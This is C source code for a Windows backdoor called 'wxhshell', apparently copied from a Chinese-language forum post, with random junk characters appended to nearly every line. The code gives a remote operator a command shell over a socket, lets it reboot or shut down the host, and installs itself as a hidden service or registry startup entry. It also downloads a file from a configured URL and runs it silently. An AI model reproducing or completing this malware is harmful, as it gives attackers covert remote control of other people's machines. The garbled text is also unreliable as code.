  } 5SmJ'zFO  
  else { K_-m:P  
hZ!kh3@:`  
    switch(cmd[0]) { 3IB9-wG  
  *X ;ch55\  
  // 帮助 ;Krb/qr4_  
  case '?': { w5 ]lU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %Lb cwh(9  
    break; d|9]E&;,  
  } )+=Kh$VbS  
  // 安装 Z @ef2y;  
  case 'i': { UUb0[oy  
    if(Install()) |5X59! JL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xXa4t4gR  
    else " a,4E{7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !$>b}w'  
    break; 9!Jt}n?!g  
    } PHY!yc-LjV  
  // 卸载 DT)] [V^w  
  case 'r': { 8{ =ha  
    if(Uninstall()) Z P6p>?DQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E)f9`][  
    else kE8s])Z,+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UK1)U)*+  
    break; -3azA7tzz  
    } WVK AA.  
  // 显示 wxhshell 所在路径 2FV@ ?x0po  
  case 'p': { ZGsd cnz  
    char svExeFile[MAX_PATH]; o0S 8ki  
    strcpy(svExeFile,"\n\r"); 4 2DMmwB   
      strcat(svExeFile,ExeFile); u/-EVCHr y  
        send(wsh,svExeFile,strlen(svExeFile),0); _nEVmz!zg  
    break; ;134$7!Y  
    } \=mLL|a  
  // 重启 +zq"dj_  
  case 'b': { 3S2Alx!6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #7}M\\$M  
    if(Boot(REBOOT)) y'I m/{9U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %#eQN ~  
    else { ^FBu|e AkE  
    closesocket(wsh); Kg2Du'WQ^  
    ExitThread(0); c00rq ~<K  
    } vCSC:  
    break; ,|>>z#Rr(n  
    } JtxVF !v  
  // 关机 EzjK{v">  
  case 'd': { N5ZO pRH{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1_v\G   
    if(Boot(SHUTDOWN)) _z{9V7n4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q(^iT~}  
    else { ITTEUw~+o  
    closesocket(wsh); EG$-D@o\I  
    ExitThread(0); W6i9mER-  
    } W*CRxGyZCl  
    break; Kg"eS`-  
    } c$L1aZo  
  // 获取shell cfa1"u""e  
  case 's': { B@0#*I Rm  
    CmdShell(wsh); ~>lqEa  
    closesocket(wsh); "VSx?74q  
    ExitThread(0); Ak('4j!*}^  
    break; [u2t1^#Ol  
  } {=mGXd`x?l  
  // 退出 {6:*c  
  case 'x': { #OM)71kB8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <OKc?[  
    CloseIt(wsh); ag47$9(  
    break; alHA&YC{K  
    } -T{2R:\{  
  // 离开 B@i%B+qCLv  
  case 'q': { "-dA\,G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q>>1?hzA  
    closesocket(wsh); cc_'Kv!  
    WSACleanup(); xP&7i'ag  
    exit(1); 0H^*VUyW/  
    break; Fb8d= Zc  
        } hhZ%{lqL  
  } <bSPKTKL  
  } J` GL_@$q  
$,U/,XA {E  
  // 提示信息 ,*d8T7T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RtHai[j  
} .udLMS/_  
  } >c<xy>N  
UdM2!f  
  return; ./Ek+p*96H  
} 6o3#<ap<  
y2s(]# 8  
// shell模块句柄 j=M%*`@  
int CmdShell(SOCKET sock) BSg T 6K  
{ ?2Z`xL9QT  
STARTUPINFO si; 6Q]c}  
ZeroMemory(&si,sizeof(si)); Z@&%"nO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tUc<ExvP,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M."/"hV`-  
PROCESS_INFORMATION ProcessInfo; ([>__c/Nd  
char cmdline[]="cmd"; J9*;Bqzim  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7_l Wr  
  return 0; uyB2   
} TaHcvjhR  
NiW9/(;xB  
// 自身启动模式 M57<e`m  
int StartFromService(void) J@_^]  
{ #!UJY%c ~  
typedef struct KhB775  
{ -wV2 79^b  
  DWORD ExitStatus; *P`wuXn}  
  DWORD PebBaseAddress; $o5i15Oy.  
  DWORD AffinityMask; X5[t6q!  
  DWORD BasePriority; ki@C}T5  
  ULONG UniqueProcessId; HB5-B XBU  
  ULONG InheritedFromUniqueProcessId; <Y?Z&rNb  
}   PROCESS_BASIC_INFORMATION; $ [fqTh  
Qr~!YPK\  
PROCNTQSIP NtQueryInformationProcess; F9K0  
&Y=~j?~Xm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $Uy+]9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y _"V=:  
P<vU!`x% q  
  HANDLE             hProcess; +z?gf*G_W'  
  PROCESS_BASIC_INFORMATION pbi; W5`pQdk  
(W:@v&p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mKO~`Wq%@  
  if(NULL == hInst ) return 0; a"U3h[;$y  
dB4ifeT]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |au`ph5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rY^uOrR>j*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FD 8Lk  
v(.mM9>  
  if (!NtQueryInformationProcess) return 0; oydP}X  
*a CVkFp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #9DJk,SP  
  if(!hProcess) return 0; ~//9Nz~;3  
vJ'22)n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,(x` zpp _  
)Wq1 af   
  CloseHandle(hProcess); yVK ; "  
`Pj7:[."[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6z U  
if(hProcess==NULL) return 0; # 2^H{7  
_%2ukuJ `  
HMODULE hMod; R)Mkt8v  
char procName[255]; q`2dL)E  
unsigned long cbNeeded; mq4Zy3H   
IWq\M,P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?B ,<gen  
p!:oT1U  
  CloseHandle(hProcess); ^ei[1 #  
gw,K*ph}q  
if(strstr(procName,"services")) return 1; // 以服务启动 COHBju fmR  
q6-o!>dLQ  
  return 0; // 注册表启动 )GG9[%H!  
} q9ra  
=L#&`s@)_  
// 主模块 `(?c4oq,c>  
int StartWxhshell(LPSTR lpCmdLine) ,iao56`E  
{ MhHh`WUGh  
  SOCKET wsl; bv]SR_Tiq  
BOOL val=TRUE; Sq,>^|v4&e  
  int port=0; )m =xf1  
  struct sockaddr_in door; l59\Lo:  
zC)JOykI%  
  if(wscfg.ws_autoins) Install(); l([aKm#  
hE=xS:6  
port=atoi(lpCmdLine); -( p%+`  
]}b  
if(port<=0) port=wscfg.ws_port; v?]a tb/h`  
S"G(_%  
  WSADATA data; #|je m   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CQ6I4k  
$[`rY D/.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qZ[HILh!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Gf#l ^yr   
  door.sin_family = AF_INET; H:hM(m0?q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bFN/{^SB  
  door.sin_port = htons(port); \`~YW<D  
E]n]_{BN]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^ICSh8C  
closesocket(wsl); |Y}YhUI&  
return 1; IYq#|^)5+  
} <h9nt4F  
rAHP5dx:  
  if(listen(wsl,2) == INVALID_SOCKET) { (Ox&B+\v+v  
closesocket(wsl); <S7SH-{_\  
return 1; r3' DXP  
} en{p<]H  
  Wxhshell(wsl); pm=O.)g4`  
  WSACleanup(); iB W:t  
Pf4zjc  
return 0; J/Y9X ,  
g)Hsd0  
} GFPrK9T  
/y{fDCC  
// 以NT服务方式启动 bf.+Ewb(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T'7>4MT(  
{ 6P >Y2xV:  
DWORD   status = 0; p<dw  C"z  
  DWORD   specificError = 0xfffffff; T2]8w1l&K  
] H;E(1iU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dL4VcUS.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |=:@<0.'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  Xp<O  
  serviceStatus.dwWin32ExitCode     = 0; jbe:"S tw  
  serviceStatus.dwServiceSpecificExitCode = 0; lt4IoE`tk?  
  serviceStatus.dwCheckPoint       = 0; <`Fl Igo  
  serviceStatus.dwWaitHint       = 0; ={cM6F}a@  
;8vB7|54.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rN#9p+t$  
  if (hServiceStatusHandle==0) return; X$u l=iBs  
-tWxB GSa@  
status = GetLastError(); 9HN&M*}  
  if (status!=NO_ERROR) ]5 ]wyDj  
{ z"7?I$N Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; # {k$Fk  
    serviceStatus.dwCheckPoint       = 0; ts[8;<YD  
    serviceStatus.dwWaitHint       = 0; >#r0k|3J^J  
    serviceStatus.dwWin32ExitCode     = status; o-_,l J7o^  
    serviceStatus.dwServiceSpecificExitCode = specificError; In%FOPO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x%$6l  
    return; ]S?G]/k}  
  } z<A8S=s6n  
4?(=?0/[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U"@p3$2QW  
  serviceStatus.dwCheckPoint       = 0; ?T%"Jgy8  
  serviceStatus.dwWaitHint       = 0; Su,<idS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NA@Z$Gy  
} QrSO%Rm1*  
 K\ pZ  
// 处理NT服务事件,比如:启动、停止 SI6?b1;-:F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \[]BB5)8  
{ .aWwJZ=[  
switch(fdwControl) po]<sB  
{ 1 5|gG<-  
case SERVICE_CONTROL_STOP: 'dQGb-<_<  
  serviceStatus.dwWin32ExitCode = 0; 9@M;\ @&g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vqUYr  
  serviceStatus.dwCheckPoint   = 0; &BKnJ {,H  
  serviceStatus.dwWaitHint     = 0; 2" v{  
  { &kWT<*;J)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7PfNPz<4+  
  } kp?_ir  
  return; HCktgL:E=  
case SERVICE_CONTROL_PAUSE: 0lqh;/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %ID48_>*  
  break; xw~oR|`U  
case SERVICE_CONTROL_CONTINUE: DeN2P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tnb'\}Vn  
  break; w1F)R^tU  
case SERVICE_CONTROL_INTERROGATE: ms&5Bq+9  
  break; }ew )QHd  
}; b83m'`vRM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j6*e^ B  
} 'vZWk eo  
+WxD=|p;  
// 标准应用程序主函数 L[+4/a!HQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j->5%y  
{ -ebyW#  
T}'*Gry  
// 获取操作系统版本 `apCu  
OsIsNt=GetOsVer(); BQgK<_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HErG%v]nw  
[;C*9Nl  
  // 从命令行安装 K[-G2  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5cr\ JR  
*2m{i:3  
  // 下载执行文件 wX@g >(  
if(wscfg.ws_downexe) { Fe 7 8YDx?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B1U7z1<  
  WinExec(wscfg.ws_filenam,SW_HIDE); `4|:8@,3{  
} .k5&C/jv  
oHethk  
if(!OsIsNt) { Hq <!&  
// 如果时win9x,隐藏进程并且设置为注册表启动 Bv}i#D  
HideProc(); 7a%)/ )<D  
StartWxhshell(lpCmdLine); VF:<q  
} 7  nawnS  
else `jGG^w3  
  if(StartFromService()) cD<5~`l  
  // 以服务方式启动 D'_ w *  
  StartServiceCtrlDispatcher(DispatchTable); H7Ee0T(`  
else `Y<FR  
  // 普通方式启动 >Cglhsb:N  
  StartWxhshell(lpCmdLine); @ql S #(  
T^nOv2@,  
return 0; JHsxaX;c  
}
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只看该作者 1 发表于: 2006-10-10
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